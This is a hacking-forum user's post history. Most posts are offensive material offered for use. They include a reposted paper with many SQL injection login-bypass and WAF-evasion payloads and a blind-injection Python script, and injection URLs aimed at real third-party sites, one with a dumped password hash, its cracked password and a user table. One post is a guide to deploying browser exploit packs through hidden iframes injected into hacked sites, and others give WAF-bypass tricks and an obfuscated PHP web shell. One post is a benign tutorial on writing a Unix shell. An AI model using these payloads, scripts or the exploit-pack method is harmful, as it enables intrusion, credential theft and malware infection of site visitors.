Jump to content

denjacker

Active Members
  • Posts

    411
  • Joined

  • Last visited

  • Days Won

    7

Everything posted by denjacker

  1. This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage. In order to read this document, you have to understand basic MySQL principles. I classified the term "SQL Injection" as 2 meanings. The first is a general SQL Injection, we usually call this "True SQL Injection", and the second is a "False SQL Injection". Though in this documentation, you can know something special about "True SQL Injection" And I mean to say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind SQL Injection". A tested environment was as follow. ubuntu server 11.04 mysql 5.1.54-1 Apache 2.2.17 PHP 5.3.5-1 A tested code was as follow. <?php /* create database injection_db; use injection_db; create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num)); insert into users values(1, 'admin', 'ad1234'); insert into users values(2, 'wh1ant', 'wh1234'); insert into users values(3, 'secuholic', 'se1234'); *** login.php *** */ if(empty($_GET['id']) || empty($_GET['password'])){ echo "<html>"; echo "<body>"; echo "<form name='text' action='login.php' method='get'>"; echo "<h4>ID <input type='text' name='id'><br>"; echo "PASS<input type='password' name='password'><br></h4>"; echo "<input type='submit' value='Login'>"; echo "</form>"; echo "</body>"; echo "</html>"; } else{ $id = $_GET['id']; $password = $_GET['password']; $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'pass'; $database = 'injection_db'; $db = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($database,$db); $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error()); $row = mysql_fetch_array($sql); if($row[id] && $row[password]){ echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>"; echo "<h3><font color=#000000>"."Hello, "."</u>"; echo "<font color=#D2691E>".$row[id]."</u></h3><br>"; } else{ echo "<script>alert('Login failed');</script>"; } mysql_close($db); } ?> First, basic SQL Injection is as follow. ' or 1=1# The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process. '=0# We can apply it in a different way. This is possible as 0>-1 '>-1# Also, this is possible as 0<1 '<1# You don't have to use only single figures. You can use two figures attack as follow. 1'<99# Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1). '=0=1# Additionally there is some possible comparison operation making the same value each other. '<=>0# Like this, if you use the comparison operation, you can attack as additional manner. '=0=1=1=1=1=1# '=1<>1# '<>1# 1'<>99999# '!=2!=3!=4# In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL. mysql> select * from users; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.01 sec) This shows the contents in any table without any problem. The following is the content when you don't input any value in the id mysql> select * from users where id=''; Empty set (0.00 sec) Of course there is not result because id field dosen't have any string. In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true. mysql> select * from users where id=0; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.00 sec) If you input 0 in id, All the content is showed. This is the basic about "False SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise operations and arithmetic operations. Once I'll show bitwise operation example. Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection. '|0# Naturally, you can use AND operation. '&0# This is the attack using XOR '^0# Also using shift operation is enable. '<<0# '>>0# If you apply like those bitwise operations, you can use variable attack methods. '&''# '%11&1# '&1&1# '|0&1# '<<0|0# '<<0>>0# In this time, I will show "False SQL Injection" using arithmetic operations. If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation. '*9# Multiplication '/9# Division. '%9# Mod '+0# Addition '-0# Subtraction Significant point is that the result has to be under one. Also you can attack as follow. '+2+5-7# '+0+0-0# '-0-0-0-0-0# '*9*8*7*6*5# '/2/3/4# '%12%34%56%78# '/**/+/**/0# '-----0# '+++0+++++0*0# Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "True, False SQL Injection" attack with function as much as you want. And whether this attack is "True SQL Injection" or "False SQL Injection" is decided on the last operation after return of function. '<hex(1)# '=left(0x30,1)# '=right(0,1)# '!=curdate()# '-reverse(0)# '=ltrim(0)# '<abs(1)# '*round(1,1)# '&left(0,0)# '*round(0,1)*round(0,1)# Also, you can use attack using space in function name. But you are able to use the space with only some function. '=upper (0)# In this time, SQL keyword is method. This method is also decided as True or False Injection according to case. ' <1 and 1# 'xor 1# 'div 1# 'is not null# admin' order by' admin' group by' 'like 0# 'between 1 and 1# 'regexp 1# Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, --, /**/, so the method is more effective in the Web Firewalls. ID : '=' PASS: '=' ID : '<>'1 PASS: '<>'1 ID : '>1=' PASS: '>1=' ID : 0'='0 PASS: 0'='0 ID : '<1 and 1>' PASS: '<1 and 1>' ID : '<>ifnull(1,2)='1 PASS: '<>ifnull(1,2)='1 ID : '=round(0,1)='1 PASS: '=round(0,1)='1 ID : '*0*' PASS: '*0*' ID : '+' PASS: '+' ID : '-' PASS: '-' ID :'+1-1-' PASS:'+1-1-' All attacks used in the documentation will be more effective with using bracket when detouring web firewall. '+(0-0)# '=0<>((reverse(1))-(reverse(1)))# '<(8*7)*(6*5)*(4*3)# '&(1+1)-2# '>(0-100)# Let's see normal SQL Injection attack. ' or 1=1# If this is translated in hexdemical, the result is as follow. http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234 Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09. The possible values are as follow. %09 %0a %0b %0c %0d %a0 %23%0a %23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a The following is the example using %a0 instead of %20. http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234 In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject. The following attack code can be used on log on page. And the page will show id and password. 'union select 1,group_concat(password),3 from users# This attack code brings /etc/password information. 'union select 1,load_file(0x2f6574632f706173737764),3 from users# Dare I say it without union select statement using Blind SQL injection with and operation is possible. The result of record are three. admin' and (select count(*) from users)=3# Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection. <?php /*** info.php ***/ $n = $_GET['num']; if(empty($n)){ $n = 1; } $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'root'; $database = 'injection_db'; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($database,$db); $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error()); $info = @mysql_fetch_row($sql); echo "<body bgcolor=#000000>"; echo "<h1><font color=#FFFFFF>wh1ant</font>"; echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>"; echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>"; echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>"; echo "<body>"; mysql_close($db); ?> Basic Blind SQL Injection is as follow on like above. http://127.0.0.1/info.php?num=1 and 1=0 http://127.0.0.1/info.php?num=1 and 1=1 But using = operation is possible for Blind SQL Injection. http://192.168.137.129/info.php?num=1=0 http://192.168.137.129/info.php?num=1=1 Also other operation is possible naturally. http://127.0.0.1/info.php?num=1<>0 http://127.0.0.1/info.php?num=1<>1 http://127.0.0.1/info.php?num=1<0 http://127.0.0.1/info.php?num=1<1 http://127.0.0.1/info.php?num=1*0*0*1 http://127.0.0.1/info.php?num=1*0*0*0 http://127.0.0.1/info.php?num=1%1%1%0 http://127.0.0.1/info.php?num=1%1%1%1 http://127.0.0.1/info.php?num=1 div 0 http://127.0.0.1/info.php?num=1 div 1 http://127.0.0.1/info.php?num=1 regexp 0 http://127.0.0.1/info.php?num=1 regexp 1 http://127.0.0.1/info.php?num=1^0 http://127.0.0.1/info.php?num=1^1 Attack example: http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1) http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1) http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e) http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e) http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e) http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e) http://127.0.0.1/info.php?num=0^(id=0x61646d696e) http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5) http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5) If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a. #!/usr/bin/python ### blind.py ### import urllib import sys import os def put_data(true_url, true_result, field, index, length): for i in range(1, length+1): for j in range(32, 127): attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i) attack_open = urllib.urlopen(attack_url) attack_result = attack_open.read() attack_open.close() if attack_result==true_result: ch = "%c" % j sys.stdout.write(ch) break print "\t\t", def get_length(false_url, false_result, field, index): i=0 while 1: data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i) data_length_open = urllib.urlopen(data_length_url) data_length_result = data_length_open.read() data_length_open.close() if data_length_result==false_result: return i i+=1 url = "http://127.0.0.1/info.php" true_url = url + "?num=1" true_open = urllib.urlopen(true_url) true_result = true_open.read() true_open.close() false_url = url + "?num=0" false_open = urllib.urlopen(false_url) false_result = false_open.read() false_open.close() print "num\t\tid\t\tpassword" fields = "num", "id", "password" for i in range(1, 4): for j in range(0, 3): length = get_length(false_url, false_result, fields[j], i) length = put_data(false_url, true_result, fields[j], i, length) print "" To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack. # Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt [EOF] http://www.exploit-db.com/papers/18263/
  2. Felicitari si 10x ptr video. Mi-a placut modul in care ai rezolvat cerintele. Din pacate eu nu am avut destul timp sa duc pana la capat rezolvarea; oricum eu ma gandeam la o alta abordare la momentul respectiv. Cam asta e tot ce reusisem atunci... [*]SQL Injection POC: -------------------------- n0net.dyndns.org/index2.php?userid=1+union+select+null,11111111111111111111::varchar--+--a n0net.dyndns.org/index2.php?userid=1+union+select+null,cast(1111111111+as+text)--+--a [*]VERSIUNE : PostgreSQL 8.4.8 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Debian 4.4.5-8) 4.4.5, 32-bit [*]USER : postgres http://n0net.dyndns.org/index2.php?userid=1+union+select+null,usename::varchar||chr%2858%29||passwd::varchar+from%20+pg_shadow--+--a postgres :::: 0cfe8da07c510ab414c7da9b1acc8fbd ==> hellopostgres [*]DATABASE : project [*]TABLES ==> COLUMNS http://n0net.dyndns.org/index2.php?userid=1+union+select+null,table_name::varchar+from+information_schema.tables+where+table_schema=current_schema()+limit+1+offset+2--+--a http://n0net.dyndns.org/index2.php?userid=1+union+select+null,column_name::varchar+from++information_schema.columns+where+table_name=CHR(101)||CHR(109)||CHR(112)||CHR(108)||CHR(111)||CHR(121)||CHR(101)||CHR(101)+limit+1+offset+2+--+--a employee ==> id, username, n0net.dyndns.org/index2.php?userid=1+union+select+null,id||chr(58)||username+from+employee +limit+1+offset+0--+--a 2:tdxev 6:troll 7:admin 4:flubber 8:manager 3:pyth0n3 5:lammer
  3. Nu ma amestec mai departe. No me gusta ..
  4. http://www.pricenetwork.ca/article.php?id=22+and+1=2+&page=5+union+select+1,version(),3,4,5,6,7,8,9,10,11--
  5. Nu lasa sintaxa standard, baga cat de cat un heavy query. .. and no waf ?! you're killing all the fun Count me in..
  6. da-mi link pe PM si incerc sa te ajut!
  7. In case you aren't familiar with exploit packs they are browser exploit bundles you can use to drop whatever files you want to visitors of third-party sites. Keep in mind all the exploit packs listed are public which means their success rate is small (10% rate at best). Still if you inject this in a high traffic site that is still a good number of fresh targets. To use many of these you will need an ioncube loader on the server which you can get here.. http://www.ioncube.com/loaders.php Speaking of which you have two options available. You can either find a bulletproof host to host your exploit pack or host it locally on your machine. If you decide to host it yourself you should make it a hidden service. Here is a guide to setting one up safely.. https://hackbloc.org/sites/hackbloc.org/files/hidsec.pdf You can then use something like tor2web in order for the injection to function properly. When you hopefully have the exploit pack up and running you can either inject an iframe into pages on a hacked site or if you manage to drop a shell use the mass injection tool to autoinject every page.. <iframe src="http://your_url_here.tor2web.com" width="0" height="0" FRAMEBORDER="0" ></iframe> Keep in mind that if there is an exe in the exploit pack you downloaded DO NOT run it. Replace the exe with your file. Finally with all that explained here are the exploit packs: 0x88 Adpack Armitage Blackhole Bleeding Life v2 Cry217 Fiesta Firepack G-Pack IcePack IcePack Platinum Luiz Eleonore Multisploit My-Poly-Sploit Phoenix Rds Smartpack Target-Exploit Unique Pack X-Pack LINK : http://www.multiupload.com/PJ4NL3C3Q0
  8. Writing Your Own Shell By Hiran Ramankutty Introduction This is not another programming language tutorial. Surprise! A few days ago, I was trying to explain one of my friends about the implementation of the 'ls' command, though I had never thought of going beyond the fact that 'ls' simply lists all files and directories. But my friend happened to make me think about everything that happens from typing 'ls' to the point when we see the output of the 'ls' command. As a result, I came up with the idea of putting the stuff into some piece of code that will work similarly. Finally, I ended up in trying to write my own shell which allows my program to run in a way similar to the Linux shell. Shells On system boot up, one can see the login screen. We log in to the system using our user name, followed by our password. The login name is looked up in the system password file (usually /etc/passwd). If the login name is found, the password is verified. The encrypted password for a user can be seen in the file /etc/shadow, immediately preceded by the user name and a colon. Once the password is verified, we are logged into the system. Once we log in, we can see the command shell where we usually enter our commands to execute. The shell, as described by Richard Stevens in his book Advanced Programming in the Unix Environment, is a command-line interpreter that reads user input and execute commands. This was the entry point for me. One program (our shell) executing another program (what the user types at the prompt). I knew that execve and its family of functions could do this, but never thought about its practical use. A note on execve() Briefly, execve and its family of functions helps to initiate new programs. The family consists of the functions: execl execv execle execve execlp execvp int execve(const char *filename, char *const argv[], char *const envp[]); is the prototype as given in the man page for execve. The filename is the complete path of the executable, argv and envp are the array of strings containing argument variables and environment variables respectively. In fact, the actual system call is sys_execve (for execve function) and other functions in this family are just C wrapper functions around execve. Now, let us write a small program using execve. See listing below: #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv, char **envp) { execve("/bin/ls", argv, envp); return 0; } Compiling and running the a.out for the above program gives the output of /bin/ls command. Now try this. Put a printf statement soon after the execve call and run the code. I will not go in to the details of wrappers of execve. There are good books, one of which I have already mentioned (from Richard Stevens), which explains the execve family in detail. Some basics Before we start writing our shell, we shall look at the sequence of events that occur, from the point when user types something at the shell to the point when he sees the output of the command that he typed. One would have never guessed that so much processing happens even for listing of files. When the user hits the 'Enter' key after typing "/bin/ls", the program which runs the command (the shell) forks a new process. This process invokes the execve system call for running "/bin/ls". The complete path, "/bin/ls" is passed as a parameter to execve along with the command line argument (argv) and environment variables (envp). The system call handler sys_execve checks for existence of the file. If the file exists, then it checks whether it is in the executable file format. Guess why? If the file is in executable file format, the execution context of the current process is altered. Finally, when the system call sys_execve terminates, "/bin/ls" is executed and the user sees the directory listing. Ooh! Let's Start Had enough of theories? Let us start with some basic features of the command shell. The listing below tries to interpret the 'Enter' key being pressed by the user at the command prompt. #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[], char *envp[]) { char c = '\0'; printf("\n[MY_SHELL ] "); while(c != EOF) { c = getchar(); if(c == '\n') printf("[MY_SHELL ] "); } printf("\n"); return 0; } This is simple. Something like the mandatory "hello world" program that a programmer writes while learning a new programming language. Whenever user hits the 'Enter' key, the command shell appears again. On running this code, if user hits Ctrl+D, the program terminates. This is similar to your default shell. When you hit Ctrl+D, you will log out of the system. Let us add another feature to interpret a Ctrl+C input also. It can be done simply by registering the signal handler for SIGINT. And what should the signal handler do? Let us see the code in listing 3. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> typedef void (*sighandler_t)(int); char c = '\0'; void handle_signal(int signo) { printf("\n[MY_SHELL ] "); fflush(stdout); } int main(int argc, char *argv[], char *envp[]) { signal(SIGINT, SIG_IGN); signal(SIGINT, handle_signal); printf("[MY_SHELL ] "); while(c != EOF) { c = getchar(); if(c == '\n') printf("[MY_SHELL ] "); } printf("\n"); return 0; } Run the program and hit Ctrl+C. What happens? You will see the command prompt again. Something that we see when we hit Ctrl+C in the shell that we use. Now try this. Remove the statement fflush(stdout) and run the program. For those who cannot predict the output, the hint is fflush forces the execution of underlying write function for the standard output. Command Execution Let us expand the features of our shell to execute some basic commands. Primarily we will read user inputs, check if such a command exists, and execute it. I am reading the user inputs using getchar(). Every character read is placed in a temporary array. The temporary array will be parsed later to frame the complete command, along with its command line options. Reading characters should go on until the user hits the 'Enter' key. This is shown in listing 4. int main(int argc, char *argv[], char *envp[]) { /* do some initializations. */ while(c != EOF) { c = getchar(); switch(c) { case '\n': /* parse and execute. */ bzero(tmp, sizeof(tmp)); break; default: strncat(tmp, &c, 1); break; } } /* some processing before terminating. */ return 0; } Now we have the string which consists of characters that the user has typed at our command prompt. Now we have to parse it, to separate the command and the command options. To make it more clear, let us assume that the user types the command gcc -o hello hello.c We will then have the command line arguments as argv[0] = "gcc" argv[1] = "-o" argv[2] = "hello" argv[3] = "hello.c" Instead of using argv, we will create our own data structure (array of strings) to store command line arguments. The listing below defines the function fill_argv. It takes the user input string as a parameter and parses it to fill my_argv data structure. We distinguish the command and the command line options with intermediate blank spaces (' '). void fill_argv(char *tmp_argv) { char *foo = tmp_argv; int index = 0; char ret[100]; bzero(ret, 100); while(*foo != '\0') { if(index == 10) break; if(*foo == ' ') { if(my_argv[index] == NULL) my_argv[index] = (char *)malloc(sizeof(char) * strlen(ret) + 1); else { bzero(my_argv[index], strlen(my_argv[index])); } strncpy(my_argv[index], ret, strlen(ret)); strncat(my_argv[index], "\0", 1); bzero(ret, 100); index++; } else { strncat(ret, foo, 1); } foo++; } if(ret[0] != '\0') { my_argv[index] = (char *)malloc(sizeof(char) * strlen(ret) + 1); strncpy(my_argv[index], ret, strlen(ret)); strncat(my_argv[index], "\0", 1); } } The user input string is scanned one character at a time. Characters between the blanks are copied into my_argv data structure. I have limited the number of arguments to 10, an arbitrary decision: we can have more that 10. Finally we will have the whole user input string in my_argv[0] to my_argv[9]. The command will be my_argv[0] and the command options (if any) will be from my_argv[1] to my_argv[k] where k<9. What next? After parsing, we have to find out if the command exists. Calls to execve will fail if the command does not exist. Note that the command passed should be the complete path. The environment variable PATH stores the different paths where the binaries could be present. The paths (one or more) are stored in PATH and are separated by a colon. These paths has to be searched for the command. The search can be avoided by use of execlp or execvp which I am trying to purposely avoid. execlp and execvp do this search automatically. The listing below defines a function that checks for the existence of the command. int attach_path(char *cmd) { char ret[100]; int index; int fd; bzero(ret, 100); for(index=0;search_path[index]!=NULL;index++) { strcpy(ret, search_path[index]); strncat(ret, cmd, strlen(cmd)); if((fd = open(ret, O_RDONLY)) > 0) { strncpy(cmd, ret, strlen(ret)); close(fd); return 0; } } return 0; } attach_path function in the listing 6 will be called if its parameter cmd does not have a '/' character. When the command has a '/', it means that the user is specifying a path for the command. So, we have: if(index(cmd, '/') == NULL) { attach_path(cmd); ..... } The function attach_path uses an array of strings, which is initialized with the paths defined by the environment variable PATH. This initialization is given in the listing below: void get_path_string(char **tmp_envp, char *bin_path) { int count = 0; char *tmp; while(1) { tmp = strstr(tmp_envp[count], "PATH"); if(tmp == NULL) { count++; } else { break; } } strncpy(bin_path, tmp, strlen(tmp)); } void insert_path_str_to_search(char *path_str) { int index=0; char *tmp = path_str; char ret[100]; while(*tmp != '=') tmp++; tmp++; while(*tmp != '\0') { if(*tmp == ':') { strncat(ret, "/", 1); search_path[index] = (char *) malloc(sizeof(char) * (strlen(ret) + 1)); strncat(search_path[index], ret, strlen(ret)); strncat(search_path[index], "\0", 1); index++; bzero(ret, 100); } else { strncat(ret, tmp, 1); } tmp++; } } The above listing shows two functions. The function get_path_string takes the environment variable as a parameter and reads the value for the entry PATH. For example, we have PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/hiran/bin The the function uses strstr from the standard library to get the pointer to the beginning of the complete string. This is used by the function insert_path_str_to_search in listing 7 to parse different paths and store them in a variable which is used to determine existence of paths. There are other, more efficient methods for parsing, but for now I could only think of this. After the function attach_path determines the command's existence, it invokes execve for executing the command. Note that attach_path copies the complete path with the command. For example, if the user inputs 'ls', then attach_path modifies it to '/bin/ls'. This string is then passed while calling execve along with the command line arguments (if any) and the environment variables. The listing below shows this: void call_execve(char *cmd) { int i; if(fork() == 0) { i = execlp(cmd, my_argv, my_envp); if(i < 0) { printf("%s: %s\n", cmd, "command not found"); exit(1); } } else { wait(NULL); } } Here, execve is called in the child process, so that the context of the parent process is retained. Complete Code and Incompleteness The listing below is the complete code which I have (inefficiently) written. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <string.h> #include <sys/wait.h> #include <sys/types.h> #include <ctype.h> #include <errno.h> #include <sys/stat.h> #include <fcntl.h> extern int errno; typedef void (*sighandler_t)(int); static char *my_argv[100], *my_envp[100]; static char *search_path[10]; void handle_signal(int signo) { printf("\n[MY_SHELL ] "); fflush(stdout); } void fill_argv(char *tmp_argv) { char *foo = tmp_argv; int index = 0; char ret[100]; bzero(ret, 100); while(*foo != '\0') { if(index == 10) break; if(*foo == ' ') { if(my_argv[index] == NULL) my_argv[index] = (char *)malloc(sizeof(char) * strlen(ret) + 1); else { bzero(my_argv[index], strlen(my_argv[index])); } strncpy(my_argv[index], ret, strlen(ret)); strncat(my_argv[index], "\0", 1); bzero(ret, 100); index++; } else { strncat(ret, foo, 1); } foo++; /*printf("foo is %c\n", *foo);*/ } my_argv[index] = (char *)malloc(sizeof(char) * strlen(ret) + 1); strncpy(my_argv[index], ret, strlen(ret)); strncat(my_argv[index], "\0", 1); } void copy_envp(char **envp) { int index = 0; for(;envp[index] != NULL; index++) { my_envp[index] = (char *)malloc(sizeof(char) * (strlen(envp[index]) + 1)); memcpy(my_envp[index], envp[index], strlen(envp[index])); } } void get_path_string(char **tmp_envp, char *bin_path) { int count = 0; char *tmp; while(1) { tmp = strstr(tmp_envp[count], "PATH"); if(tmp == NULL) { count++; } else { break; } } strncpy(bin_path, tmp, strlen(tmp)); } void insert_path_str_to_search(char *path_str) { int index=0; char *tmp = path_str; char ret[100]; while(*tmp != '=') tmp++; tmp++; while(*tmp != '\0') { if(*tmp == ':') { strncat(ret, "/", 1); search_path[index] = (char *) malloc(sizeof(char) * (strlen(ret) + 1)); strncat(search_path[index], ret, strlen(ret)); strncat(search_path[index], "\0", 1); index++; bzero(ret, 100); } else { strncat(ret, tmp, 1); } tmp++; } } int attach_path(char *cmd) { char ret[100]; int index; int fd; bzero(ret, 100); for(index=0;search_path[index]!=NULL;index++) { strcpy(ret, search_path[index]); strncat(ret, cmd, strlen(cmd)); if((fd = open(ret, O_RDONLY)) > 0) { strncpy(cmd, ret, strlen(ret)); close(fd); return 0; } } return 0; } void call_execve(char *cmd) { int i; printf("cmd is %s\n", cmd); if(fork() == 0) { i = execve(cmd, my_argv, my_envp); printf("errno is %d\n", errno); if(i < 0) { printf("%s: %s\n", cmd, "command not found"); exit(1); } } else { wait(NULL); } } void free_argv() { int index; for(index=0;my_argv[index]!=NULL;index++) { bzero(my_argv[index], strlen(my_argv[index])+1); my_argv[index] = NULL; free(my_argv[index]); } } int main(int argc, char *argv[], char *envp[]) { char c; int i, fd; char *tmp = (char *)malloc(sizeof(char) * 100); char *path_str = (char *)malloc(sizeof(char) * 256); char *cmd = (char *)malloc(sizeof(char) * 100); signal(SIGINT, SIG_IGN); signal(SIGINT, handle_signal); copy_envp(envp); get_path_string(my_envp, path_str); insert_path_str_to_search(path_str); if(fork() == 0) { execve("/usr/bin/clear", argv, my_envp); exit(1); } else { wait(NULL); } printf("[MY_SHELL ] "); fflush(stdout); while(c != EOF) { c = getchar(); switch(c) { case '\n': if(tmp[0] == '\0') { printf("[MY_SHELL ] "); } else { fill_argv(tmp); strncpy(cmd, my_argv[0], strlen(my_argv[0])); strncat(cmd, "\0", 1); if(index(cmd, '/') == NULL) { if(attach_path(cmd) == 0) { call_execve(cmd); } else { printf("%s: command not found\n", cmd); } } else { if((fd = open(cmd, O_RDONLY)) > 0) { close(fd); call_execve(cmd); } else { printf("%s: command not found\n", cmd); } } free_argv(); printf("[MY_SHELL ] "); bzero(cmd, 100); } bzero(tmp, 100); break; default: strncat(tmp, &c, 1); break; } } free(tmp); free(path_str); for(i=0;my_envp[i]!=NULL;i++) free(my_envp[i]); for(i=0;i<10;i++) free(search_path[i]); printf("\n"); return 0; } Compile and run the code to see [MY_SHELL ]. Try to run some basic commands; it should work. This should also support compiling and running small programs. Do not get surprised if 'cd' does not work. This and several other commands are built-in with the shell. You can make this shell the default by editing /etc/passwd or using the 'chsh' command. The next time you login, you will see [MY_SHELL ] instead of your previous default shell. Conclusion The primary idea was to make readers familiar with what Linux does when it executes a command. The code given here does not support all the features that bash, csh and ksh do. Support for 'Tab', 'Page Up/Down' as seen in bash (but not in ksh) can be implemented. Other features like support for shell programming, modifying environment variables during runtime, etc. are essential. A thorough look at the source code for bash is not an easy task because of the various complexities involved, but would help you develop a full featured command interpreter. Of course, reading the source code is not the complete answer. I am also trying to find other ways, but lack of time does not permit me. Have fun and enjoy......
  9. mai tineti minte episodu asta? a fost o zi trista cand s-a difuzat.. +ST :
  10. +rep ::: un tool bestial. Felicitari pentru munca depusa si ptr ca l-ai postat 10x !!!
  11. - Ne pare rau nu servim NEUTRINO ! Un NEUTRINO intra intr-un bar.
  12. Documentar : Faster than the speed of Light LINK: multiupload.com/JV44AJ7E5S
  13. Paul a fost OK la defcamp, e baiat valabil si se pot discuta diverse subiecte cu el. Sunt alte afonete de care va puteti ferii ... Nici la bautura nu face urat... cand simte ca nu mai poate ia geaca pe el si se baga-n sauna linistit. )) I vouch for him !!!
  14. La minutul 3:44 se observa un WordPress 3.0.1 est disponible.
  15. Un tutorial video foarte interesant prin care combinand cateva tipuri de vulnerabilitati web se obtin in cele din urma privilegiile userului root pe un server cu o platforma wordpress. Desi este prezentat in limba rusa, detaliile procedeului sunt usor de inteles iar atacul in sine este concis, la obiect si fara prea multa palavrageala. http://www.youtube.com/watch?v=WLkftfmhAws Bon Appetit !
  16. Niciodata.. pe nici un tip de DBMS. Exemplul acesta este un simplu mit. Pe MySQL de exemplu nu va merge sub nici o forma. Ar putea totusi functiona doar in cazul in care filtrul respectiv va sterge /**/ din sintaxa astfel incat un/**/ion sa devina union . Alta posibilitate nu exista.
  17. da-mi un PM cu un ID de messenger si te ajut. No "atentie" needed! Zattara as vrea si id-ul tau
  18. Celldweller - Gift For You http://www.youtube.com/watch?v=L27O8zPgzxo
  19. Ivan Markovic has recently published the results of his research on the development of attack Http Parameter Pollution. A new attack called Http Parameter Contamination (HPC). The essence of this attack consists in the fact that the various platforms and applications are handled differently obviously incorrect parameters. This is illustrated in the following table: Attack of the HPC, like HPP, can be used to bypass various filters, security restrictions and regulations Site Web Application Firewall. In particular, the researcher gives the following examples of bending rules Mod_Security: Example 1 (Apache / php): Forbidden: http://localhost/?xp_cmdshell'>http://localhost/?xp_cmdshell Bypassed ([=> _): http://localhost/?xp [cmdshell Example 2 (IIS / ASP): Forbidden: http://192.168.2.105/test.asp?file=../bla.txt Bypassed (.%. => ..): Http://192.168.2.105/test.asp?file =.%./ bla.txt The full results of the survey by visiting: http://www.exploit-db.com/download_pdf/17534
  20. Exista o eroare in articolul de mai sus si un lucru nespecificat. Pentru a fi functional acest mic shell avem nevoie de : short_open_tag = on , din fisierul php.ini iar la copypaste.php?1=shell_exec&2=whoami de fapt sunt inversate valorile parametrilor GET 1 si 2... (mi-a atras atentia devacanta)... adica : copypastephp?1=whoami&2=shell_exec Testat pe Windows XP cu Vertrigo:
  21. So a small php shell was tweeted around and it inspired me to investigate a way to execute non-alphanumeric code. First off I started with the idea of using octal escapes in PHP and constructing the escape so for example: \107 is “G” if I could construct the “107? and add the backslash to the beginning maybe I could construct “G”. It worked like this: $_=+""; $_=(++$_)+(++$_)+(++$_)+(++$_); $__=+""; $__++; $___=$_*$_+$__+$__+$__+$__+$__+$__+$__;//107 $___="\\$___"; But there was no way to evaluate the escape once it was constructed without using alphanum chars. So I was stumped. Then I had a brain wave, php automatically does a string conversion for arrays and converts them to “Array” when accessed as a string. I had “A”, “r”, “r” etc but I really needed “GET” in order to create a nice small non-alpha shell. Onto the second technique, PHP allows you to use bitwise operators on strings 'a'|'b';//c! We can make new characters by combining others, but I only had a limited set to work with. A simple for loop later I combined the characters to create “GET” and thus make our non-alphanum small PHP shell <? $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> 